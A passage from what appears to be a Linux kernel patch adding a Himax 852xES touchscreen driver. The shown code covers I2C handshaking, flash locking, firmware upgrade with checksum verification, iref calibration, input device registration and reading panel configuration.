and +* may be copied, distributed, and modified under those terms. +* +* This program is distributed in the hope that it will be useful, +* but WITHOUT ANY WARRANTY; without even the implied warranty of +* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +* GNU General Public License for more details. +* +*/ + +#include "himax_852xES.h" + +#define SUPPORT_FINGER_DATA_CHECKSUM 0x0F +#define TS_WAKE_LOCK_TIMEOUT (2 * HZ) + +#if defined(CONFIG_TOUCHSCREEN_PROXIMITY) +/* Proximity */ +static u8 proximity_flag; +static u8 g_proximity_en; +#endif + +#if defined(HX_AUTO_UPDATE_FW) || defined(HX_AUTO_UPDATE_CONFIG) + static unsigned char i_CTPM_FW[] = +{ + #include "D816_2014_11_24.i" + }; +#endif + +/* Touch panel Recovery */ +#ifdef HX_TOUCH_REC +static int checktouch = 3; /* times of recover */ +static int check_touchData(void); +static void TP_REC(void); +#endif + +/* for Virtual key array */ +/* static int tpd_keys_local[HX_KEY_MAX_COUNT] = HX_KEY_ARRAY; */ + +static unsigned char IC_CHECKSUM; +static unsigned char IC_TYPE; + +static int HX_TOUCH_INFO_POINT_CNT; + +static int HX_RX_NUM; +static int HX_TX_NUM; +static int HX_BT_NUM; +static int HX_X_RES; +static int HX_Y_RES; +static int HX_MAX_PT; +static bool HX_XY_REVERSE; +static bool HX_INT_IS_EDGE; + +static unsigned int FW_VER_MAJ_FLASH_ADDR; +static unsigned int FW_VER_MAJ_FLASH_LENG; +static unsigned int FW_VER_MIN_FLASH_ADDR; +static unsigned int FW_VER_MIN_FLASH_LENG; + +static unsigned int FW_CFG_VER_FLASH_ADDR; + +static unsigned int CFG_VER_MAJ_FLASH_ADDR; +static unsigned int CFG_VER_MAJ_FLASH_LENG; +static unsigned int CFG_VER_MIN_FLASH_ADDR; +static unsigned int CFG_VER_MIN_FLASH_LENG; + +static uint8_t vk_press = 0x00; +static uint8_t AA_press = 0x00; +static uint8_t IC_STATUS_CHECK = 0xAA; +static uint8_t EN_NoiseFilter = 0x00; +static uint8_t Last_EN_NoiseFilter = 0x00; +static uint8_t HX_DRIVER_PROBE_Fial; +static int hx_point_num; + +/* for himax_ts_work_func use */ +static int p_point_num = 0xFFFF; +static int tpd_key = 0x00; +static int tpd_key_old = 0x00; + +static bool config_load; +static struct himax_config *config_selected; + +static int iref_number = 11; +static bool iref_found; + +#if defined(CONFIG_FB) +static int fb_notifier_callback(struct notifier_block *self, + unsigned long event, void *data); +#elif defined(CONFIG_HAS_EARLYSUSPEND) +static void himax_ts_early_suspend(struct early_suspend *h); +static void himax_ts_late_resume(struct early_suspend *h); +#endif + +#ifdef CONFIG_OF +#if defined(HX_LOADIN_CONFIG) || defined(HX_AUTO_UPDATE_CONFIG) +static int himax_parse_config(struct himax_ts_data *ts, struct himax_config *pdata); +#endif +#endif + +static int himax_hand_shaking(void) /* 0:Running, 1:Stop, 2:I2C Fail */ +{ + int ret, result; + uint8_t hw_reset_check[1]; + uint8_t hw_reset_check_2[1]; + uint8_t buf0[2]; + + memset(hw_reset_check, 0x00, sizeof(hw_reset_check)); + memset(hw_reset_check_2, 0x00, sizeof(hw_reset_check_2)); + + buf0[0] = 0xF2; + if (IC_STATUS_CHECK == 0xAA) { + buf0[1] = 0xAA; + IC_STATUS_CHECK = 0x55; + } else { + buf0[1] = 0x55; + IC_STATUS_CHECK = 0xAA; + } + + ret = i2c_himax_master_write(private_ts->client, buf0, 2, DEFAULT_RETRY_CNT); + if (ret < 0) { + E("[Himax]:write 0xF2 failed line: %d \n", __LINE__); + goto work_func_send_i2c_msg_fail; + } + msleep(50); + + buf0[0] = 0xF2; + buf0[1] = 0x00; + ret = i2c_himax_master_write(private_ts->client, buf0, 2, DEFAULT_RETRY_CNT); + if (ret < 0) { + E("[Himax]:write 0x92 failed line: %d \n", __LINE__); + goto work_func_send_i2c_msg_fail; + } + msleep(2); + + ret = i2c_himax_read(private_ts->client, 0x90, hw_reset_check, 1, DEFAULT_RETRY_CNT); + if (ret < 0) { + E("[Himax]:i2c_himax_read 0x90 failed line: %d \n", __LINE__); + goto work_func_send_i2c_msg_fail; + } + + if ((IC_STATUS_CHECK != hw_reset_check[0])) { + msleep(2); + ret = i2c_himax_read(private_ts->client, 0x90, hw_reset_check_2, 1, DEFAULT_RETRY_CNT); + if (ret < 0) { + E("[Himax]:i2c_himax_read 0x90 failed line: %d \n", __LINE__); + goto work_func_send_i2c_msg_fail; + } + + if (hw_reset_check[0] == hw_reset_check_2[0]) { + result = 1; + } else { + result = 0; + } + } else { + result = 0; + } + + return result; + +work_func_send_i2c_msg_fail: + return 2; +} + +static int himax_ManualMode(int enter) +{ + uint8_t cmd[2]; + cmd[0] = enter; + if (i2c_himax_write(private_ts->client, HX_CMD_MANUALMODE , &cmd[0], 1, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + return 0; +} + +static int himax_FlashMode(int enter) +{ + uint8_t cmd[2]; + cmd[0] = enter; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 1, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + return 0; +} + +static int himax_lock_flash(int enable) +{ + uint8_t cmd[5]; + + if (i2c_himax_write(private_ts->client, 0xAA , &cmd[0], 0, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + /* lock sequence start */ + cmd[0] = 0x01; + cmd[1] = 0x00; + cmd[2] = 0x06; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 3, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x03;cmd[1] = 0x00;cmd[2] = 0x00; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_SET_ADDRESS , &cmd[0], 3, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + if (enable != 0) { + cmd[0] = 0x63; + cmd[1] = 0x02; + cmd[2] = 0x70; + cmd[3] = 0x03; + } + else{ + cmd[0] = 0x63; + cmd[1] = 0x02; + cmd[2] = 0x30; + cmd[3] = 0x00; + } + + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_WRITE_REGISTER , &cmd[0], 4, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + if (i2c_himax_write_command(private_ts->client, HX_CMD_4A, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + msleep(50); + + if (i2c_himax_write(private_ts->client, 0xA9 , &cmd[0], 0, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + return 0; + /* lock sequence stop */ +} + + +static void himax_changeIref(int selected_iref) { + + unsigned char temp_iref[16][2] = { {0x00, 0x00}, {0x00, 0x00}, {0x00, 0x00}, {0x00, 0x00}, + {0x00, 0x00}, {0x00, 0x00}, {0x00, 0x00}, {0x00, 0x00}, + {0x00, 0x00}, {0x00, 0x00}, {0x00, 0x00}, {0x00, 0x00}, + {0x00, 0x00}, {0x00, 0x00}, {0x00, 0x00}, {0x00, 0x00}}; + uint8_t cmd[10]; + int i = 0; + int j = 0; + + I("%s: start to check iref,iref number = %d\n", __func__, selected_iref); + + if (i2c_himax_write(private_ts->client, 0xAA , &cmd[0], 0, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return; + } + + for (i = 0; i < 16; i++) { + for (j = 0; j < 2; j++) { + if (selected_iref == 1) { + temp_iref[i][j] = E_IrefTable_1[i][j]; + } + else if (selected_iref == 2) { + temp_iref[i][j] = E_IrefTable_2[i][j]; + } + else if (selected_iref == 3) { + temp_iref[i][j] = E_IrefTable_3[i][j]; + } + else if (selected_iref == 4) { + temp_iref[i][j] = E_IrefTable_4[i][j]; + } + else if (selected_iref == 5) { + temp_iref[i][j] = E_IrefTable_5[i][j]; + } + else if (selected_iref == 6) { + temp_iref[i][j] = E_IrefTable_6[i][j]; + } + else if (selected_iref == 7) { + temp_iref[i][j] = E_IrefTable_7[i][j]; + } + } + } + + if (!iref_found) { + /* Read Iref + Register 0x43 */ + cmd[0] = 0x01; + cmd[1] = 0x00; + cmd[2] = 0x0A; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 3, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return; + } + + /* Register 0x44 */ + cmd[0] = 0x00; + cmd[1] = 0x00; + cmd[2] = 0x00; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_SET_ADDRESS , &cmd[0], 3, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + /* Register 0x46 */ + if (i2c_himax_write(private_ts->client, 0x46 , &cmd[0], 0, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + /* Register 0x59 */ + if (i2c_himax_read(private_ts->client, 0x59, cmd, 4, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + /* find iref group , default is iref 3 */ + for (i = 0; i < 16; i++) { + if ((cmd[0] == temp_iref[i][0]) && + (cmd[1] == temp_iref[i][1])) { + iref_number = i; + iref_found = true; + break; + } + } + + if (!iref_found) { + E("%s: Can't find iref number!\n", __func__); + return ; + } + else{ + I("%s: iref_number=%d, cmd[0]=0x%x, cmd[1]=0x%x\n", __func__, iref_number, cmd[0], cmd[1]); + } + } + + msleep(20); + + /* iref write + Register 0x43 */ + cmd[0] = 0x01; + cmd[1] = 0x00; + cmd[2] = 0x06; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 3, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + /* Register 0x44 */ + cmd[0] = 0x00; + cmd[1] = 0x00; + cmd[2] = 0x00; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_SET_ADDRESS , &cmd[0], 3, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + /* Register 0x45 */ + cmd[0] = temp_iref[iref_number][0]; + cmd[1] = temp_iref[iref_number][1]; + cmd[2] = 0x17; + cmd[3] = 0x28; + + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_WRITE_REGISTER , &cmd[0], 4, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + /* Register 0x4A */ + if (i2c_himax_write(private_ts->client, HX_CMD_4A , &cmd[0], 0, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + /* Read SFR to check the result + Register 0x43 */ + cmd[0] = 0x01; + cmd[1] = 0x00; + cmd[2] = 0x0A; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 3, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + /* Register 0x44 */ + cmd[0] = 0x00; + cmd[1] = 0x00; + cmd[2] = 0x00; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_SET_ADDRESS , &cmd[0], 3, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + /* Register 0x46 */ + if (i2c_himax_write(private_ts->client, 0x46 , &cmd[0], 0, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + /* Register 0x59 */ + if (i2c_himax_read(private_ts->client, 0x59, cmd, 4, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return ; + } + + I("%s:cmd[0]=%d,cmd[1]=%d,temp_iref_1=%d,temp_iref_2=%d\n", __func__, cmd[0], cmd[1], temp_iref[iref_number][0], temp_iref[iref_number][1]); + + if (cmd[0] != temp_iref[iref_number][0] || cmd[1] != temp_iref[iref_number][1]) { + E("%s: IREF Read Back is not match.\n", __func__); + E("%s: Iref [0]=%d,[1]=%d\n", __func__, cmd[0], cmd[1]); + } + else{ + I("%s: IREF Pass", __func__); + } + + if (i2c_himax_write(private_ts->client, 0xA9 , &cmd[0], 0, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + return; + } + +} + +static uint8_t himax_calculateChecksum(bool change_iref) +{ + + int iref_flag = 0; + uint8_t cmd[10]; + + memset(cmd, 0x00, sizeof(cmd)); + + /* Sleep out */ + if (i2c_himax_write(private_ts->client, HX_CMD_TSSLPOUT , &cmd[0], 0, DEFAULT_RETRY_CNT) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + msleep(120); + + while(true) { + + if (change_iref) + { + if (iref_flag == 0) { + himax_changeIref(2); /* iref 2 */ + } + else if (iref_flag == 1) { + himax_changeIref(5); /* iref 5 */ + } + else if (iref_flag == 2) { + himax_changeIref(1); /* iref 1 */ + } + else{ + goto CHECK_FAIL; + } + iref_flag++; + } + + cmd[0] = 0x00; + cmd[1] = 0x04; + cmd[2] = 0x0A; + cmd[3] = 0x02; + + if (i2c_himax_write(private_ts->client, 0xED , &cmd[0], 4, DEFAULT_RETRY_CNT) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + /* Enable Flash */ + cmd[0] = 0x01; + cmd[1] = 0x00; + cmd[2] = 0x02; + + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 3, DEFAULT_RETRY_CNT) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + cmd[0] = 0x05; + if (i2c_himax_write(private_ts->client, 0xD2 , &cmd[0], 1, DEFAULT_RETRY_CNT) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01; + if (i2c_himax_write(private_ts->client, 0x53 , &cmd[0], 1, DEFAULT_RETRY_CNT) < 0) { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + msleep(200); + + if (i2c_himax_read(private_ts->client, 0xAD, cmd, 4, DEFAULT_RETRY_CNT) < 0) { + E("%s: i2c access fail!\n", __func__); + return -1; + } + + I("%s 0xAD[0, 1, 2, 3] = %d,%d,%d,%d \n", __func__, cmd[0], cmd[1], cmd[2], cmd[3]); + + if (cmd[0] == 0 && cmd[1] == 0 && cmd[2] == 0 && cmd[3] == 0 ) { + himax_FlashMode(0); + goto CHECK_PASS; + } else { + himax_FlashMode(0); + goto CHECK_FAIL; + } + + + CHECK_PASS: + if (change_iref) + { + if (iref_flag < 3) { + continue; + } + else { + return 1; + } + } + else + { + return 1; + } + + CHECK_FAIL: + return 0; + } + return 0; +} + +int fts_ctpm_fw_upgrade_with_fs(unsigned char *fw, int len, bool change_iref) +{ + unsigned char *ImageBuffer = fw; + int fullFileLength = len; + int i; + uint8_t cmd[5], last_byte, prePage; + int FileLength; + uint8_t checksumResult = 0; + + FileLength = fullFileLength; + + if (i2c_himax_write(private_ts->client, HX_CMD_TSSLPOUT , &cmd[0], 0, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + msleep(120); + + himax_lock_flash(0); + + cmd[0] = 0x05;cmd[1] = 0x00;cmd[2] = 0x02; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 3, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + if (i2c_himax_write(private_ts->client, 0x4F , &cmd[0], 0, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + msleep(50); + + himax_ManualMode(1); + himax_FlashMode(1); + + FileLength = (FileLength + 3) / 4; + for (i = 0, prePage = 0; i < FileLength; i++) + { + last_byte = 0; + cmd[0] = i & 0x1F; + if (cmd[0] == 0x1F || i == FileLength - 1) + { + last_byte = 1; + } + cmd[1] = (i >> 5) & 0x1F; + cmd[2] = (i >> 10) & 0x1F; + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_SET_ADDRESS , &cmd[0], 3, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + if (prePage != cmd[1] || i == 0) + { + prePage = cmd[1]; + cmd[0] = 0x01; + cmd[1] = 0x09;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01; + cmd[1] = 0x0D;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01; + cmd[1] = 0x09;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + } + + memcpy(&cmd[0], &ImageBuffer[4*i], 4); + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_WRITE_REGISTER , &cmd[0], 4, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01; + cmd[1] = 0x0D;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01; + cmd[1] = 0x09;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + if (last_byte == 1) + { + cmd[0] = 0x01; + cmd[1] = 0x01;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01; + cmd[1] = 0x05;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01; + cmd[1] = 0x01;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + cmd[0] = 0x01; + cmd[1] = 0x00;/* cmd[2] = 0x02; */ + if (i2c_himax_write(private_ts->client, HX_CMD_FLASH_ENABLE , &cmd[0], 2, DEFAULT_RETRY_CNT) < 0) + { + E("%s: i2c access fail!\n", __func__); + return 0; + } + + msleep(20); + if (i == (FileLength - 1)) + { + himax_FlashMode(0); + himax_ManualMode(0); + checksumResult = himax_calculateChecksum(change_iref); + /* himax_ManualMode(0); */ + himax_lock_flash(1); + + if (checksumResult) /* Success */ + { + return 1; + } + else /* Fail */ + { + E("%s: checksumResult fail!\n", __func__); + return 0; + } + } + } + } + return 0; +} + +static int himax_input_register(struct himax_ts_data *ts) +{ + int ret; + ts->input_dev = input_allocate_device(); + if (ts->input_dev == NULL) { + ret = -ENOMEM; + E("%s: Failed to allocate input device\n", __func__); + return ret; + } + ts->input_dev->name = "himax-touchscreen"; + + set_bit(EV_SYN, ts->input_dev->evbit); + set_bit(EV_ABS, ts->input_dev->evbit); + set_bit(EV_KEY, ts->input_dev->evbit); + + set_bit(KEY_BACK, ts->input_dev->keybit); + set_bit(KEY_HOME, ts->input_dev->keybit); + set_bit(KEY_MENU, ts->input_dev->keybit); + set_bit(KEY_SEARCH, ts->input_dev->keybit); +#if defined(HX_SMART_WAKEUP) || defined(HX_PALM_REPORT) + set_bit(KEY_POWER, ts->input_dev->keybit); + set_bit(KEY_CUST_01, ts->input_dev->keybit); + set_bit(KEY_CUST_02, ts->input_dev->keybit); + set_bit(KEY_CUST_03, ts->input_dev->keybit); + set_bit(KEY_CUST_04, ts->input_dev->keybit); + set_bit(KEY_CUST_05, ts->input_dev->keybit); + set_bit(KEY_CUST_06, ts->input_dev->keybit); + set_bit(KEY_CUST_07, ts->input_dev->keybit); + set_bit(KEY_CUST_08, ts->input_dev->keybit); + set_bit(KEY_CUST_09, ts->input_dev->keybit); + set_bit(KEY_CUST_10, ts->input_dev->keybit); + set_bit(KEY_CUST_11, ts->input_dev->keybit); + set_bit(KEY_CUST_12, ts->input_dev->keybit); + set_bit(KEY_CUST_13, ts->input_dev->keybit); + set_bit(KEY_CUST_14, ts->input_dev->keybit); + set_bit(KEY_CUST_15, ts->input_dev->keybit); +#endif + set_bit(BTN_TOUCH, ts->input_dev->keybit); + + set_bit(KEY_APP_SWITCH, ts->input_dev->keybit); + + set_bit(INPUT_PROP_DIRECT, ts->input_dev->propbit); + + if (ts->protocol_type == PROTOCOL_TYPE_A) { + /* ts->input_dev->mtsize = ts->nFinger_support; */ + input_set_abs_params(ts->input_dev, ABS_MT_TRACKING_ID, + 0, 3, 0, 0); + } else {/* PROTOCOL_TYPE_B */ + set_bit(MT_TOOL_FINGER, ts->input_dev->keybit); + input_mt_init_slots(ts->input_dev, ts->nFinger_support, 0); + } + + I("input_set_abs_params: min_x %d, max_x %d, min_y %d, max_y %d\n", + ts->pdata->abs_x_min, ts->pdata->abs_x_max, ts->pdata->abs_y_min, ts->pdata->abs_y_max); + + input_set_abs_params(ts->input_dev, ABS_MT_POSITION_X,ts->pdata->abs_x_min, ts->pdata->abs_x_max, ts->pdata->abs_x_fuzz, 0); + input_set_abs_params(ts->input_dev, ABS_MT_POSITION_Y,ts->pdata->abs_y_min, ts->pdata->abs_y_max, ts->pdata->abs_y_fuzz, 0); + input_set_abs_params(ts->input_dev, ABS_MT_TOUCH_MAJOR,ts->pdata->abs_pressure_min, ts->pdata->abs_pressure_max, ts->pdata->abs_pressure_fuzz, 0); + input_set_abs_params(ts->input_dev, ABS_MT_PRESSURE,ts->pdata->abs_pressure_min, ts->pdata->abs_pressure_max, ts->pdata->abs_pressure_fuzz, 0); + input_set_abs_params(ts->input_dev, ABS_MT_WIDTH_MAJOR,ts->pdata->abs_width_min, ts->pdata->abs_width_max, ts->pdata->abs_pressure_fuzz, 0); + + /* input_set_abs_params(ts->input_dev, ABS_MT_AMPLITUDE, 0, ((ts->pdata->abs_pressure_max << 16) | ts->pdata->abs_width_max), 0, 0); */ + /* input_set_abs_params(ts->input_dev, ABS_MT_POSITION, 0, (BIT(31) | (ts->pdata->abs_x_max << 16) | ts->pdata->abs_y_max), 0, 0); */ + + return input_register_device(ts->input_dev); +} + +static void calcDataSize(uint8_t finger_num) +{ + struct himax_ts_data *ts_data = private_ts; + ts_data->coord_data_size = 4 * finger_num; + ts_data->area_data_size = ((finger_num / 4) + (finger_num % 4 ? 1 : 0)) * 4; + ts_data->raw_data_frame_size = 128 - ts_data->coord_data_size - ts_data->area_data_size - 4 - 4 - 1; + ts_data->raw_data_nframes = ((uint32_t)ts_data->x_channel * ts_data->y_channel + + ts_data->x_channel + ts_data->y_channel) / ts_data->raw_data_frame_size + + (((uint32_t)ts_data->x_channel * ts_data->y_channel + + ts_data->x_channel + ts_data->y_channel) % ts_data->raw_data_frame_size)? 1 : 0; + I("%s: coord_data_size: %d, area_data_size:%d, raw_data_frame_size:%d, raw_data_nframes:%d", __func__, ts_data->coord_data_size, ts_data->area_data_size, ts_data->raw_data_frame_size, ts_data->raw_data_nframes); +} + +static void calculate_point_number(void) +{ + HX_TOUCH_INFO_POINT_CNT = HX_MAX_PT * 4 ; + + if ((HX_MAX_PT % 4) == 0) + HX_TOUCH_INFO_POINT_CNT += (HX_MAX_PT / 4) * 4 ; + else + HX_TOUCH_INFO_POINT_CNT += ((HX_MAX_PT / 4) +1) * 4 ; +} +#ifdef HX_LOADIN_CONFIG +static int himax_config_reg_write(struct i2c_client *client, uint8_t StartAddr, uint8_t *data, uint8_t length, uint8_t toRetry) +{ + char cmd[12] = {0}; + + cmd[0] = 0x8C;cmd[1] = 0x14; + if ((i2c_himax_master_write(client, &cmd[0] , 2, toRetry)) < 0) + return -1; + + cmd[0] = 0x8B;cmd[1] = 0x00;cmd[2] = StartAddr; /* Start addr */ + if ((i2c_himax_master_write(client, &cmd[0] , 3, toRetry)) < 0) + return -1; + + if ((i2c_himax_master_write(client, data,length,toRetry)) < 0) + return -1; + + cmd[0] = 0x8C;cmd[1] = 0x00; + if ((i2c_himax_master_write(client, &cmd[0] , 2, toRetry)) < 0) + return -1; + + return 0; +} +#endif +void himax_touch_information(void) +{ + char data[12] = {0}; + + I("%s:IC_TYPE =%d\n", __func__, IC_TYPE); + + if (IC_TYPE == HX_85XX_ES_SERIES_PWON) + { + data[0] = 0x8C; + data[1] = 0x14; + i2c_himax_master_write(private_ts->client, &data[0], 2, DEFAULT_RETRY_CNT); + msleep(20); + data[0] = 0x8B; + data[1] = 0x00; + data[2] = 0x70; + i2c_himax_master_write(private_ts->client, &data[0], 3, DEFAULT_RETRY_CNT); + msleep(20); + i2c_himax_read(private_ts->client, 0x5A, data, 12, DEFAULT_RETRY_CNT); + HX_RX_NUM = data[0]; /* FE(70) */ + HX_TX_NUM = data[1]; /* FE(71) */ + HX_MAX_PT = (data[2] & 0xF0) >> 4; /* FE(72) */ +#ifdef HX_EN_SEL_BUTTON + HX_BT_NUM = (data[2] & 0x0F); /* FE(72) */ +#endif + if ((data[4] & 0x04) == 0x04) {/* FE(74) */ + HX_XY_REVERSE = true; + HX_Y_RES = data[6]*256 + data[7]; /* FE(76),FE(77) */ + HX_X_RES = data[8]*256 + data[9]; /* FE(78),FE(79) */ + } else { + HX_XY_REVERSE = false; + HX_X_RES = data[6]*256 + data[7]; /* FE(76),FE(77) */ + HX_Y_RES = data[8]*256 + data[9]; /* FE(78),FE(79) */ + } + data[0] = 0x8C; + data[1] = 0x00; + i2c_himax_master_write(private_ts->client, &data[0], 2, DEFAULT_RETRY_CNT); + msleep(20); +#ifdef HX_EN_MUT_BUTTON + data[0] = 0x8C; + data[1] = 0x14; + i2c_himax_master_write(private_ts->client, &data[0], 2, DEFAULT_RETRY_CNT); + msleep(20); + data[0] = 0x8B; + data[1] = 0x00; + data[2] = 0x64; + i2c_himax_master_write(private_ts->client, &data[0], 3, DEFAULT_RETRY_CNT); + msleep(20); + i2c_himax_read(private_ts->client, 0x5A, data, 4, DEFAULT_RETRY_CNT); + HX_BT_NUM = (data[0] & 0x03); + data[0] = 0x8C; + data[1] = 0x00; + i2c_himax_master_write(private_ts->client, &data[0], 2, DEFAULT_RETRY_CNT); + msleep(20); +#endif +#ifdef HX_TP_PROC_2T2R + data[0] = 0x8C; + data[1] = 0x14; + i2c_himax_master_write(private_ts->client, &data[0], 2, DEFAULT_RETRY_CNT); + msleep(20); + + data[0] = 0x8B; + data[1] = 0x00; + data[2] = HX_2T2R_Addr; + i2c_himax_master_write(private_ts->client, &data[0], 3, DEFAULT_RETRY_CNT); + msleep(20); + + i2c_himax_read(private_ts->client, 0x5A, data, 10, DEFAULT_RETRY_CNT); + + HX_RX_NUM_2 = data[0]; + HX_TX_NUM_2 = data[1]; + + I("%s:Touch Panel Type=%d \n", __func__, data[2]); + if (data[2] == HX_2T2R_en_setting)/*2T2R type panel */ + Is_2T2R = true; + else + Is_2T2R = false; + + data[0] = 0x8C; + data[1] = 0x00; + i2c_himax_master_write(private_ts->client, &data[0], 2, DEFAULT_RETRY_CNT); + msleep(20); +#endif + data[0] = 0x8C; + data[1] = 0x14; + i2c_himax_master_write(private_ts->client, &data[0], 2, DEFAULT_RETRY_CNT); + msleep(20); + data[0] = 0x8B; + data[1] = 0x00; + data[2] = 0x02; + i2c_himax_master_write(private_ts->client, &data[0], 3, DEFAULT_RETRY_CNT); + msleep(20); + i2c_himax_read(private_ts->client, 0x5A, data, 10, DEFAULT_RETRY_CNT); + if ((data[1] & 0x01) == 1) {/* FE(02) */ + HX_INT_IS_EDGE = true; + } else { + HX_INT_IS_EDGE = false; + } + data[0] = 0x8C; + data[1] = 0x00; + i2c_himax_master_write(private_ts->client, &data[0], 2, DEFAULT_RETRY_CNT); + msleep(20); + I("%s:HX_RX_NUM =%d,HX_TX_NUM =%d,HX_MAX_PT=%d \n", __func__, HX_RX_NUM, HX_TX_NUM,HX_MAX_PT); + + if (i2c_himax_read(private_ts->client, HX_VER_FW_CFG, data, 1, 3) < 0) { + E("%s: i2c access fail!\n", __func__); + } + private_ts->vendor_config_ver = data[0]; + I("config_ver=%x.\n", private_ts->vendor_config_ver); + } + else + { + HX_RX_NUM = 0; + HX_TX_NUM = 0; + HX_BT_NUM = 0; + HX_X_RES = 0; + HX_Y_RES = 0; + HX_MAX_PT = 0; + HX_XY_REVERSE = false; + HX_INT_IS_EDGE = false; + } +} +static uint8_t himax_read_Sensor_ID(struct i2c_client *client) +{ + uint8_t val_high[1], val_low[1], ID0 = 0, ID1 = 0; + uint8_t sensor_id; + char data[3]; + + data[0] = 0x56; data[1] = 0x02; data[2] = 0x02;/* ID pin PULL High */ + i2c_himax_master_write(client, &data[0], 3, DEFAULT_RETRY_CNT); + msleep(20); + + /* read id pin high */ + i2c_himax_read(client, 0x57, val_high, 1, DEFAULT_RETRY_CNT); + + data[0] = 0x56; data[1] = 0x01; data[2] = 0x01;/* ID pin PULL Low */ + i2c_himax_master_write(client, &data[0], 3, DEFAULT_RETRY_CNT); + msleep(20); + + /* read id pin low */ + i2c_himax_read(client, 0x57, val_low, 1, DEFAULT_RETRY_CNT); + + if ((val_high[0] & 0x01) == 0) + ID0 = 0x02;/* GND */ + else if ((val_low[0] & 0x01) == 0) + ID0 = 0x01;/* Floating */ + else + ID0 = 0x04;/* VCC */ + + if ((val_high[0] & 0x02) == 0) + ID1 = 0x02;/* GND */ + else if ((val_low[0] & 0x02) == 0) + ID1 = 0x01;/* Floating */ + else + ID1 = 0x04;/* VCC */ + if ((ID0 == 0x04) && (ID1 != 0x04)) + { + data[0] = 0x56; data[1] = 0x02; data[2] = 